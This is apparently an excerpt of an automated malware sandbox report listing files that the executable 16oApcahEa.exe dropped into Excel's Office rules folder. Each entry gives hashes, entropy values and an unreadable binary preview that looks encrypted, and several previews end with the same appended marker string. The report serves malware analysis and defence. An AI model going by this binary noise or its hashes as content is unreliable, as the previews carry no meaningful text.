Preview:	<?xml8....2c... .gr{.Qw....Z.5.Spp..Q.F.....r.0.j.^.!Qx3e`..U...X..Z...q.YUH.. q.C^.....\UD.`.S1.....oQW.7..o.5yn)`h.5. ....t...r..p...mW_.k,.,#87.l[;.....l...6..}.+1...8....m^f........M.ByH..Wh...#. .h. ...1...q.F.NO....\|..hQ0\|".[....<.Y....z}';..U..M......`...%#...h...'7P..c."V..1@V`.b.?;l.R..e...'Rz...........?..A......Y..]..\.......l}{6....c........n.o...\....6......1W,0_v........A.i.>.F..pY.o?....I;.,....Z.'.....M. ..r.K}.T..\|T0u.'q..Cg.z....?sJ.N6.4.....3..xl....."Q..RF_^...pCC..trN..D.a.(.F.......'........#.iX.KcVHg..P......C...:..6U.EH.$G.j..N..[..g.O ..}2...n[.pz1e......=.......{.`kX.............].J.{fP.....B."3......#J..B..<..~G..y.....#xz.U.Q.....$.5.....pOT.....F.,H...L..QNq..5.?O...^.e\|......`-.......6.W[.USpw...O.7Bs7.v..Pv..p.L..._...j....W...v...]:!?h..,........S.V.@[i...}H;....W@U.YT.....Uk..&7.:.._..ZY....xK.L.C..I.a...@...JlX5.E....r..m...>...?.x.$ltm.....gj..U.JP$.nB.....K.."....x..P...t...i~n..&..b...R.F..>.e..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180032v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	7.893945261511166
Encrypted:	false
SSDEEP:	48:NoVGhEhZrzSYnlWcQV1prrRwZzpkNcbGqFaYJD:N1UZrzSylWpDrRwhpcwp1
MD5:	6043C7D2C723307FE43ABF3DCF781CCE
SHA1:	EF54F90C1B259119AA16962877FA5A001647240A
SHA-256:	2D51C88B1DE90D6855A8BE9046A70B60B868F38D88C20BCBB292884EECF649C4
SHA-512:	D80F2CD33684B905563E437728B8ECCBAC504409383FACFB754D1D25177F0B7F72AF87087CBC939E4CBE1D834761B4BC7B70AC1145C38AA9B752B236EA52006D
Malicious:	false
Preview:	<?xml.UC..h.f...7...[.w..U..X..v=......+ba...:...'..>`v#c8....#.N.3m..4Z. ..X=....3...6.f.....0........"t.vM../bu..W....]T.....t"G........$.'...L....R...y.>.r5.CG....../f5..........S.j.Yr=.....7F..4....<ix#.........s<..o...Yu.z.,G.S..:...f /..]?e...]...B....$.........JJ.....l...D.#\|.......,=.G.!...M......e.r.MY3..P...."56.x....8./...4:I....OF.2....=8.,.7`t.T<W&...........Z....E>....h.U....&!C=g..v.VX..........h.....d..1Z.zS...R......h.C.N.?%...c.....k.Q..g. .~.GW.]AA.P..zd....&.=..r....PG.S..i........an...ww..$.................o.c....e..7?..J).N.....D]...,..}..f6....r.`.+...mJ..Sf.<...UXi...-@....H..lk....0.JS..}g....~/.2.X.}...)]E4&.@.........../t..o....=....L....c6"....f.O.<>2.. ..q.....^......i.....<..Vh\..O...7.aA..^..T..'PU(....Y.B...h]..cwo..7[..y...6.R..M.J)i..h..t..%...M....nG.,U.....^.h....t.N.}....g1.h...(j\..8"...EAJ.l.>.'s....VIV....HO..]..%..=...;.W...<E:.x{9....]!-.{.^GmVRy,.1....T+.4...1..'l...3}...5.....+-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180034v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1698
Entropy (8bit):	7.890493857986711
Encrypted:	false
SSDEEP:	24:tsZTze9ZOaZ282U07HDdQUGXuFOgzQ+wlpFhwMzA47W+jmraTKxtHFVhgY2zV7me:t+a1QZlGX2/bQcMDjm+TGJ2zV7PJD
MD5:	B9C7CF47484E8DA1CF456C872AF3E277
SHA1:	0EFF494F293E5D636CE6F078078E99F8E5724C0F
SHA-256:	6821A23F0566A79E10BA135D6CFEA6A34C91811E358F0508FC62C9A9EF4E74F2
SHA-512:	208BB5538F17EB2378A352805726D11757D6E93113BD91531F04A5B61A2101F4CD2A817C1B5F870D4B331ED4E9D23D43EF856A97B9AA9DBEBD2FB4ECF0766856
Malicious:	false
Preview:	<?xml....M...({. ..9....l@...],V.#....i...H.^NOu...+u...\..}].<nd...t..I.v.S`k.h.. ]..F.....lo. T....i`?s.........W..........r.4\.>_8g...F{_)H.r......."..Y.F]j....\.............]..B.0......~...4B./.........>.{..bg.I.........Vn.r.......j......p.....R.N.Q...=..^..4.g3..74sp.ky...t..F8.....\|]qk.F...c.j...<.........x.4..n.x...f.../.`.3.....y...5.'o.r\.w.....jR..1.....Y...c.6l.......i&vO......C.F.....>...D..veg....J..hDabqp....f...(.dS.I..b.Pe;{...:9..bA.......7...~3......!~e+.m.b...\|.....1..2......q..{.d!..S..M.6bORC..e..-...>.b....u}...p4...F...x.T....?.r.d..5\|...H....f^$...R.....x....D..7F?...,!!..........aP..1^&.U.C....g.Hk...q(.jfb....>.........k.....'...#....B....{...:..{ .....L.-\J..f.I0......W...;..K....g.../......O...i&......5$..b..:.}..y4..o..R.......h0.......[W.k.....mc7@.P.,Q...;.X..Mj.9u..._...R...+..d..f...+..W......C4..Z^......+./.f.%K:]:.....C.......:c.vF.s_i......&l..5b...n..Vr...UP3k.~......3...E.^....5.......xMK

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180043v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.888679793980089
Encrypted:	false
SSDEEP:	48:4KlE41ogf6h2kNSqVBXsqZK4liv8CR8JD:4KG4Sgf6h2KVB8qZKp3m
MD5:	1BBE299DE734D283351F91059513CBF6
SHA1:	66EF2E9A887524823FEC41EFC8C62CDA4FD8AE40
SHA-256:	E08EC4FEBA833719B113755B4F208790D6623F3523D643387AA7FC5DA3C13C99
SHA-512:	1ACE8B0D48520238D4D96EE3B666C669C0A4A02440C300298403FE817ECF43CB38914A2C620B50C99A0E345DC9AE09A3ECE90E5C0C27636DB6BA679A7AB488E4
Malicious:	false
Preview:	<?xml.v1S.Y....U. zB..(.<...^.$. ..~....]@@..g...s........mxNs.E.kC.Ei3.Y...L)g.Cej..Z/...R.H.mb08.4H..cb.`...7..$...Z.....f.R..l..-4...P..'m..E..}5...`.q.1....r.\|-...#.=h$...WS.0...+...k..3..$s....$.[..K.....i[.&_..0.h.%....H.r`..j..A.. A...0......."...$BG/.&......,.......t....j...NR...r...4......[...(..b.t.RSZ..~..~.(X..Z3v..o...a........9..8.....G........\....p.R.`..o...O,...X..F.c1......0fE..m.rz.......3T.bf.:.Uc.#..i.V.=... W...E.\!/.!VZ..g.$..WY.x.e..A..M5..OT2.....D....%0.~..0.{y.........P.v1M..PU.. .8..k..63.....^....u.P..E'.,@9:..8..9......#0<..o.:..'R.uP$xn..^gcY.........-.Z'B.D.Q....Y.....LDP.v7..b....)4gN..o....".....n......fuW8..Gw....>..bx.T..[...X~...=...u.w..R.+!U...r....9~;/..i>F....<.4,..j....#....]..}UQn.kr"..0.x"<b...pz..(....0..T&...C.tc......Z.......$8%.gw"-. .........Q,..5.>.]q..<......#.........I....t..NVF..m;...."6...)M.1..N.iv.;..Gp...=zJ.0...E...+...s.A.Q;...........J\|]....E.Sw,X9...5...!.q.s....U.s.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180049v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2858
Entropy (8bit):	7.922044729439779
Encrypted:	false
SSDEEP:	48:0r37K6nhxX/6JP2bLPYli4YtgH5bG7drFDSS9Pskeo+P/TGVTuYFHgtZ5/rJD:0hxwwai4FpG7XUkR+P/TGVTbg399
MD5:	9CD3AE50C8B3B09701143C2F46D6A90E
SHA1:	23F5180AD61E7E37159512D949E1F998578FB30F
SHA-256:	3584BC217E3F2967D2A32430C55916AAE1C7728A4D5025C849B35603ACE4D947
SHA-512:	84C2C1742E5251FFFC12CD2EFCE7FF9269F0D9E442E51BB889B2093898FFF3B7FDBDA94936AE89795E86CB209E134D63E36E040B4CE155092F53E9DB70EBCB66
Malicious:	false
Preview:	<?xml(..h...O_U..U.q.Q...c.0.......Fki274.r\E...f .1...7.:\|.<.<.+.p.4-..sI.b>..d.}....+%...G...+t...TUF..[...3..,...q.......R.5W..H.......;G.?...${.e...s.h......4..k.C.....<.t.$`us....b.4..\......NBS..>....b.oJ.RM...J..J.CZZk...?.+.O.e.^..`.[.R.......:......~.x... {1.....[1..^....0P.j......2..@."...v..%sD+}.....@v.0JQM%...x].h...t.....`,3._2.+.....Q...@...@.....`P.FWj.$.B.\.$....G...f.....s..f{i{...........W.U.q.Q........p.."so1.q..m.L5..._.`/8H...d...<K.+.....:v..Sc.....x>.......n<\.......}..4..&Ywp..:@/=..,I.;.....vO..{..b..^0...S.Rt...52...;..[.+...r....C2Xg&.....'i..R8Z#..53\x.....I....WKU%......(.]...S.....3.v.6......\|..u0,.+(.pE.)4w..Y..b...u.).&..G..R)W.?...,..-3L.N.2k..4(P...i.S.B.D.1....."g.(.c7..H.v..r&.2.a.^Z1...q.g.i.'>.WG.<..K$.j.L.z'.O....iU...06......DI.Cvu.:.S.i.....n.U........:..K......W.9...38.k.r.IR....N!.E.;B...E...5m.....M..J....................6!........`.../.g%..3.%...u...N.i.......y..7...r..S......U).Z..7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180051v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1230
Entropy (8bit):	7.840254515266457
Encrypted:	false
SSDEEP:	24:jn/OQYJWvzsPNavsDipmEn+CVv2bJctL26s+V4uEEm9pbD:zGQP1vsDAn+CMtck+abXJD
MD5:	C69A20B00768DE680A6E19CC851CB465
SHA1:	C9EB6300423D3A93C5D737C14CC8448E9134DEB8
SHA-256:	09CBD8826A1E4D7C87FB9AF9D7D1C543ED404E25469F86CF73E937E27320472B
SHA-512:	911D89682ABDDF1A5E963BF59DD006BFFDA2BE752FFD45B57D80DEF40FF914EF115565904A0B1456CAB589C146827399A0994F567563B6540AE00D8700C02DF7
Malicious:	false
Preview:	<?xml.\|oVZ...$....v) 5..9v.....b..5....S..X.".".8....eSe.g2....k~..H1.....\.i./.r....^ ....]%.... ......x...zh...Y..KmB.c.R..{+...g...{..5"F^Ah...`...&<..T.6.9....E.1..1..%..g......].te...ul.\$RM.H.....,W...M...(..8..v.L.!zpKLM...{.q.6w@\.f..o...G1.......R......HP........;.Z..g..gfZ....#..X..........h....r.$.:%..F..e..S.C.f....Rh.eGa...!k......i\.........h.\;M...?M..5.A.......v8#.R.;XG...a1.EI..,4...s.(..D...1..QMi.d..E_.M[..).....m.....<.8<8}..;...U...V.G.+.M...8.....5.P^...<..KE...#..L.A]{.yS\|u.o)...KTh............{...G.oK....W.3-.....x.'.EU.t..%...^Z..7../...7..A.9A;.2.....Y...E.....{Dz........#.i.b..-..#......;#Ic..]d.64x4.".>I6..JY5.G...\|.X.v.f...6.'...J3X.U2.......X..".b.,.?..s.TH..c..v.:.n..w..ip.O$}.....L.<..y.{..@........K..O=J...>a.By...Gp..EdCX..5@...x....,..+.n.hw...k........<.....8...w...j8..u.@.......v.og.....D..D.....$.Q.o5.F..h..$..Q.(..$.....U...`!.y..dk.....\...?..+....&.7w....?g!'..q...[..5U$l.%...Y...t..mOl./.j.4.Q..P.h.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180052v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2834
Entropy (8bit):	7.937046564422436
Encrypted:	false
SSDEEP:	48:gPc4pa9L8v04Ni4Iga52Jd9ZcOztjvLYBaV/dl0qQ4Nbe7lD61S1ixgzhGFOxUPO:2nsL2NJaUJzZcOtYBaV/dl0dmbe7lmYv
MD5:	50413B3C6E3DF948C093200ADC766CDA
SHA1:	F8BD4DBDAC6B8B0D394B34CEC973832FEE17D504
SHA-256:	DF0396B7BA0C1D1112EB3A9C71BBE8AF5F9A95B1418D498947C7480FC0B906C7
SHA-512:	6EC108060D3679FE5D8F5D4DDD14487FCFEE5858A16E78032046EBC419725C08110632ED1917639E396F4EC7BEFC82823B042EBA9A888F9A154E3A1C2B2C1A4B
Malicious:	false
Preview:	<?xml]......ZR.!4..$...7C).@`..g.."y.....qI..O.......%.76Y..d.H.T............._Y@..AH..c...N....r..EYt+..h..n.v..DR....8.`X....4.M.G?...j.+.\..\|#..l....`.;Y.p..v...../Z..............M.(..I......DM.y...y..g..6.7W.!......!..y.k<.._34..3.S....K..J.l.l'!p..CI..Y..6....l...........1.......-.&....=b..........@...{.(.F.T...z3..\.75...h...t:..8Z...R...V..y\|.5...-...=.R..Z... M.Tr...h,r.C.....&m....+W...Z..&......iM.`...Tp.Z.J...B_A........:O...2...V.45..T..=..;.`~...7..W..\|..........F...s..ry...S.........1.9..2...t3..'..-w...Y.#.<..o>..t....)n.q0c..]......iJ.m..V...n....e..n.....Y.....{~~'...(..l^.@..y...q..KZ..h..29;...1..a...N...p.....-..0...6.n..t#.....i:._.......J#.\|..o......>=.k.......WLA....3.K.D1i...........&.!..0.g;.XK..5R.....x.d....&\|.1k-...A...$F..%M...$.t\...8....=...RG5...s....v....g.Z\....=H7..9....r...W.4.....e....T..._C...gu(,b...../....8*S...A`..~..........j<..=p...v2....O..7.......r.su.zuM...f...J..}.i{0..@.S(j..6..y.....G\..]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180057v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2008
Entropy (8bit):	7.88052724780549
Encrypted:	false
SSDEEP:	48:AN4ATkRJvd73vIUoxWlCFJD2MHnRWrmmb/JU5JD:AN4TJvdjvHlCFJD2MHnwve
MD5:	29D76422B989B8B8133192D674817659
SHA1:	81304ACA11B275F495F3F4BE8B0528D741A7982F
SHA-256:	EA3A7F1F7CD5848921D368C9FC0D0FDD29D88CED59C56543A539FB7463C7B1CD
SHA-512:	681CC9C707720C54230EA1617A84FBB4FBA00D26FAC1F61DFDEC891B09D1B67346003727D5607AA257FE5B28A1752C30A15DB67F96B8D20762BEAD7AD515E0A8
Malicious:	false
Preview:	<?xml..(P..U..Y>l..q..#..=?...D].P.P...2.:D1...T.c....p..o.....Amh.Y.Q..y.r.D.E 6g_.l.:0..B._O;.%`{.l....H./..y...y{XM....J...2#U.tl......5Q...q..&9....qt..i...L}:..f.G......t.B?..JG.U..M.i~.G.'U0ch.m....y.Na ..\."....F._]..[E._aa[0.....9....1.?7.4.c.<.$E'..a./.F\|'b......q.......u. ..AfvYn=.z........L....zb.9.h...CO...I.z....3l.B".Q._......D..3.`.B...N9...5...zYj.....e]...^..O#..f...d..6...e..w....+..b.U....f..'\TI2..W....A}..u.=....W^.m.EtM..,.s5.,.....A.Q......W....~...fp.])..$.x.....;A...."..v..#..8$zm.T{[A....'u..b93..\|`$.&....._...;..M.%..n2f........+y..F......N..)...'...}...'.e._+.0.27.6.{.%.n.....l\<)..;...S.^....Y@..W.Z2.i+&....Il>D.....:..%.E...g.r....g..-.dq.qy....B...w.).T..EV..WI...c.F....l.{J/.......\|2.L..\|}..<.5.d..>.....V5....i../`..X...C.y..4........,t.!.e... .,4....Qr.MF......_V...L....0.......q.y...>;.C.c7&..%..!`..7~..B8.*.F..e.).#W......8.X..d..h).....W5@ty...Le..R$2...5.ud.z&Q........f.T.....#k.E.....A....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180058v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2453
Entropy (8bit):	7.925914424942561
Encrypted:	false
SSDEEP:	48:OE0a19bUGvivSEhLhvD1Q+oF2mgW75g/hYNb+1ZLvQzmngoQxHJD:/73UGvghLhvD1Q+qgW1syNbQLvI3oMB
MD5:	B28EE4A7AE3E4033429BC4EBE32A9BBD
SHA1:	6D7A29826C54685DD782CB6A5229D9943CD344AB
SHA-256:	4BDF8BC64886672AF9C236F78C32DB426DE45B00AEAD9D845D1224D23616856A
SHA-512:	151E6E08EC4FEC8BB485968A79D1D8F2A6E733C858DAF24A03C8AF86D504227409892054515C9A37756792F33D6966225D8497EB86BA24628AC75BDE5D8E0CA0
Malicious:	false
Preview:	<?xmlc.o...&Fw..c....+.9>`.?......f)........D.mb../.+.N.w.....}.....'2...^....#.4...P..4.:....GX.,.o.1.....\.....2.;)~.!.>."..k.F...#....iZ.cm+........"+........R.V..ce.....W..v..u.@'.!.=.......`.g..c....&[p.A.!i...\|\|f....."...l....Mu....?d.nM...M.dU.p..........<.noP..J....pM..\+.p...M..;JC...5.5}.WeQG. ....?8BU\|...=.d.{.K-.r..Y...R8...N.....X.m....L...S..D.L.$..\..A...R3g...T.8.X..Kw#.........f.lt...TMh..m.h.....w......WY.......f.7...9~W$yq...9.=Vf..!....z.I.{..F...{W*...).........a....8....d....4Q...7.r.)v...>.tU.\|....K..-9.......I.Zk F..,.........FLN.@2..Y..uQ....W.:..a.t}.d......z.}H~.<.....\..Z.Da..w.h.L...O..h...{.&.".6......~N).Y....."..~..:...9.k.....O...K`..~...n..L\|J...Gk.`.Tu..4..W..<.J..}......k...Z...{.B.....t.>..E....9....>......\.E!.....&.k...@.n=~..`pw.h.W..Y\.S..xA?byF.3..n....<..%........;..We..:X. ....B.6.]......uAq.....N..6M...f....b.^.....g.!R...R..M..l...`....kwGF.CJD....~<3w.....q/..Y.`........\|L.c....Sd..`q.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180059v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1568
Entropy (8bit):	7.850923453758799
Encrypted:	false
SSDEEP:	48:+wahU4gcZVwcBBLIxkNQtoS4ODypytPJD:2U4g9GBLIxUQtn4Ocy7
MD5:	0012BCDD5A58CAED1DBB04C4A63B11D0
SHA1:	8637B254296FBDC32FDEEF53BDC468C2788EB188
SHA-256:	99C7DE3814807C0B1916E35DA0D20D3DEF1C1199BBD32AFEADEF0A8B95001128
SHA-512:	3C1607772368D4E926B78F027C0CC263EFAAA930FB83E17500A0E100DB42CED564D9D65C8971CA217A73686245EDE1DEF04971461DBFD2B089BF56E0665B5070
Malicious:	false
Preview:	<?xml..V...{\|..9F4[...i.....+fO.M....D..S[Rm..%.%.r.X..1...C........+......a.t?.....;bY%Z..;.).:.&#g..RFY.q.O....G...B...GOq].;.%\DT...\|....V.9.bw...e....w/2B...{!.._..B.....W...3c63...<..:..if.L....A.J0.X....D.q...4.Q.x.:.8..o.r......=..2NLl~...MP....&..tY..P....q9.......<4....}.....%P.?6......]x..)D.<\|^@......\.........^.)1........gb..M......{H\2gW.+4ly.....4y...&W..C..i.d)...w.'.i^.G...F..OX...U..s.........m.ONk..^..=T-.}........?.e{..u\|...t..:.....Uj...?.....WkO..........:.f.N-.t.EA~.U..~Ib.Jw.ji~.$.w&...&.....@.Y..K\...[.p:.A...Pa.0:I...F9..LA..NtC\|.mj.!./.V...8ET.i..U...<...h...8..m.O..K+.V...0t.....j^E..(t.w....S.Q]j.M.....f.Bl..[Nq...\..T.....O.....X.}.s[..1D.6...}6.3.h..t;.I#....1..{.b..}.7TK[:(.Y-&..s..\|........!E)..$,.{..^......m..5..?M.'!J..tH..:.k$4.p?c..u..s9.D..~Q.EH...K..o.WN%.,l)5.[YTb. ..Y.I.f.V.J...{.cc.#.K..O..<.Tl.K..?..gT&A...\..Q....^.,)..t9..[d..I8.D......?......>..?x..$+....D...rBuYf...".......7..F.."...qj.B.[...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500005v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1144
Entropy (8bit):	7.802795463797475
Encrypted:	false
SSDEEP:	24:AW25GulnnYjqGauBArphhzOtt7GFo38gjrnBkhjLd13EPMzEBhvVLhe8r39pbD:A/5XlnY+Gd2Vr6t778gjFkhV1dwvVdeG
MD5:	38309494E5DE94AD9D7763E24309C02A
SHA1:	33EF2C093C881D9FB5008D585643040D049F6759
SHA-256:	C5CC1093DA123CC2A568B1D49C0BC2FE7D984B592E358C40982CAB30C68155D0
SHA-512:	C02991F5CB8CA8FF82542BB26F14BD990A34E20E6498787ABD1ACD5C79E9B5B0A77D3FB54D78E5ECBB58241C58A78B9A34EDF606F121731398033E082F0C38D6
Malicious:	false
Preview:	<?xml(H..A.@h...VX.Tf.p..g}......yK..o!..u.d..a&.0n..w.o......5..4r.C....(/....d.V.....U..#%.S.Ry.....P..6.....X;d.Z....?.}..i J(.x.....D......DY...l..g.p._.T...l8#...w-..L-....(.^R..........7+X..sJ.^...-l...Y...%.9B.9{...J.".g^s.v.3..jQ...P..:.m.{./.(.5.>....o%....e.........1..#...=M./...p]\|......d....r.`.C.F<.qr^]..8....N....~.u.....SU..56vB.b.D...8o.....G...?....gg....go......e....JL.\|T.Os.1.n~.... .b.......z-..wM54.."..7...2...4XV,...d[...t..R.P...p._s.'.j.J...h.....y.<;.%..b(.o..c.p..1.'u..8c'.YZ..@.) ..c_@.O`..^..V3.H\.f6@......JI.......G...Z%...f...QH;y.x.91!9.Y7T..u......7.....y.\.<......rd>.Jbd..[.;.B.g....a..P.l....F.VWL+L.uR.2.......J..3p...8.......s.....%...l...........~L.....k..g.z.0.......3..../j;..].`#Mp...8..r..<.......@.l`jlvw3....<l.sLN....#..n...3../...7=H.L.Q..EM..X..{bA...b]n]..]33....+..3$b....._....O.A.@.}HF....G.=JD/Oj~..K...b.M7...1.ImZ......(..iY.....}.....P.3...,..\..'R....Fe..}...qT.#.....I.F.2.Nh.-..Z...P.....o

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500006v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	7.7754932191100945
Encrypted:	false
SSDEEP:	24:P7NXUwksR2QqJ5Zpp9vRpOJvS2TIXk16YsLIxLeNylgv9pbD:5X2Q0VpVRpETIXQ9s4CNnFJD
MD5:	5D318CE1114B8817808E29ACBDF4C5ED
SHA1:	E978A3E60B24E87B4472CEDD820781F8B5204A13
SHA-256:	D81C3466965DA148FB59784368E5EC7FA870D6ED98CC45B2B1591284D8637879
SHA-512:	A5AF1605F3011FB0CE5CC5FB9E34CC77551FE26BE92AB8AE6155208630BDD9B1B89F808F5EAA9F265FCBF7AF95B3DB89E0F4D9DFE0CF151F971966412F843766
Malicious:	false
Preview:	<?xmlF.P..j..^..d,m:5.?.e_....4.t..Glt..........&S.....R.X\...\|....)w..c:...+7x.(V...\|A2.ji....?S...'=...`.X.k.......`.....mI.`.w./.....I.q.0..Q.#....#..,u...M-.;(/...'.......rx.v.y.5...~...JRu.J.....q].U.\|.4..dTn...c.Nv.........KQ......wz....NLP.c.o`.^....=@Qs..S.K..>IU.p..2.X<4.y4..>.....J.>5.B....fE...q...O.D.L!.w.o..)}..rU.&.Cr6.....Zz.W........O.30...........!....R..W9.`.Q......[.....~.v...2y....t6gJ..'}.TI.7bj.p....f..../\..4.b..M..r....6..2Sr yb./.<\|..6J..E.7.Iz..\|..#X!.U&...[A...L&...H"C%^..a..W..GD.W.i.c...I{.J..#.....@...T{)V.+xK....F.I(.-x.:..lB.s..q.e...6T.3....^...-.=.k.q.......3.J.d..P.u............e#..../....!..GR.;.@....b..].$.. ......U'l.d.1....8.@.'.%...f,.m.%...Wpr.Hf..-,;_...7.c.....:...c..6J...3......^.<..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500007v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	767
Entropy (8bit):	7.695667374961343
Encrypted:	false
SSDEEP:	12:TPKHa8dDjaTqCZbjjRc+85x1DyJjMw+x03T9O7C3lKW21a/J0CehKQTQSc3fm9Mw:zmdi1C+8ZENOm1KW65hhtT5c3O9pbD
MD5:	9767890B077A640A3F0EAACC801FB912
SHA1:	47E236D01FE1F352A4B2CBC00E99D860E92C7DA7
SHA-256:	EA43966185103049EC0F1ADCCD997E77F1A399B55038FE117AC95184609DBE6C
SHA-512:	70D04FA9FD3E95C83B207CF903A36D1D437D17643815C514ACCE60D3F1389688D652420AD39F9B1E5F8E19CB39B4F4A0B16EE2D9C2845131A2CADBDB338B3E17
Malicious:	false
Preview:	<?xmlNU..A9.2...~.i4[G/@{.\|..P.'.]v.U....N[j...!9....&...T..@\|.7.c=.......0......CdDF..?...WOE.\|g.!.P..x........J.,:..N......Z.."S..f?.._...'.....E..].....s....w..U.K....J.+..._i....\|..j.}..ece. ..$.u.Y?..m..3=v..CZ.Y...K\..#.Yn..].&.y.z .m...!..I..ej......Q....K...p..} ..Q.6.6..Gb.\|t...y.-...-A..#(/..Q1.6.!U.7M3.7).E.2.$XT.B.r_.R..BhCs-\|f{.0w.:.\|.}.....{.,.....,........B).p.e.........FW..v`LZ.V8h..........)Y..p...O..>..0.....?`zL@.>....uK/..`T^.F2.....k..K..DP......0.$../j..K..S......h..mE..7.$<..p. ......h..Ho................<.......N...3K..2n.z.&)..?..#).J3CT..Z..i..\\.....J\....4S.XJ..~..Fw.m......Y.w.u...U...x..ot....L..Y7.;....[y^.@.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500008v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	845
Entropy (8bit):	7.740709015879033
Encrypted:	false
SSDEEP:	24:c329pBSM1zkMC07M+xfopA6UTWTKffI9pbD:c3rE4OwA6XTKffeJD
MD5:	26B7460C6F43BA92FE3EDE519F7F095A
SHA1:	85439CD86614F87B288341A443A9D5B39116C346
SHA-256:	1420DDEA718AB364F1D72629A608A39291231B306D4BE5E8ED2F40FBE7D03AC2
SHA-512:	536AC1934EA0DCB24A7F2C6D51839DC0DFA369E365012FCF9B48326B6D75C80AF9BA9F0494BC203C0F9FC7B94411A9582C5C1D89DA8C98A7B36B8F6F11910379
Malicious:	false
Preview:	<?xml.....~.x.fR.Z]..3b....IG..q...nBU.%j........25.......vw.g...S....3^.5.....'/1.rS.B;5I..&.-k?.auAm..^[....G.l...`6~..K..y..\...SH../.F..I4.{.2...0..H...;.'...]~.. 7...").7.s-..v.._..u)3d.^,.,....X...h..IX...}mVm....E3.>......S!.w.q.D..I.......<..)P%..QX<..!(.wv..y.}uG.X.y.......%);A.I.?.s...+.....J.,...-.,..(.(k\|5..R.+..g..^.r.....1..qAuA.(.Y.Pm.L(U..Y...]...!..I?.Zr..H...pv[1a~.UX.{Y.S..0[..&.3w...T.y.]kf.......ra:...$....9%,....(.+...q.3....r._9..X3.ZC~../(.{.....PUN.....JE......\ZT...;p..........}.8..{...Pv}..m...J...sY...7_........M,......Q.={PW......A....P.x.e.......Q,........4+..w...\>..{I8...Q....k.wd..V..[..<.F\|....P.RC..m2.....d...w.>9.........E.J..'..<e.ric.a.>..K..l.....?...i.O.w.......p!..h...RxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500009v4.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	7.8229983219672805
Encrypted:	false
SSDEEP:	24:1N6WvwUJ0fjChV907bOYaArpsbDcRhm7Wtask9P6i9pbD:1MmuCm7b5rpkvWtask9P6kJD
MD5:	7C1818AAB4D9BC74A99FE3B0307FAA1C
SHA1:	373BBFEBC69DDBF51E031766362863A51239C6B8
SHA-256:	AAC4516F8F9B6E219B09D5CD4C6EBB024A112B3184D3BBBDB0ED6BB810DC49EF
SHA-512:	1C492ECD1763FA14E9269976C816500DC7A59DEDB0CBDB7F85BC81C384B50CFB78B4F46C6C859551282D84DC57D8B197FFED2A7B7D5D41E4F9BF17051615CA47
Malicious:	false
Preview:	<?xml<2.t.._.6I2I..B...D..\|.F5..y....bO%._...-.n.r7....q+.....N.#L'.$..DW.?7......V.F.&B[Z.U....J..`.....F.S..E.?.q...e..{..l..;W....=!.[.$b....!...&B.....3.~.[......{o..k].<W......l`GS_1....>.._B....n.j.0.'....t.x.,.o.....:.}...v6.^.m>..vG.@......T.....L.&<..m...h..+9...wB......;...m...@..z,.(..0.D..b...u...8Q..x...U.d..[.~.q.....44.Z.....o.u..;U...i.si.....M..;F..V.(H.............X.....E<.Yf......K.N}].K.J..]8..0..6..R!.....!n.U.....rI...1..}.....E...a..Df.9.!..V\J.{fu{.......hy.....g..!......l.+q....-...)3.....N~....A..f.\|5..l.,^.s..C.Z.!CB.R..cK.....(...]%7v.V.U.U7\....#....&.A..0n0pr..,W...j......t.K.Pu.l...p..,..k....y6.o@."BC..tHS 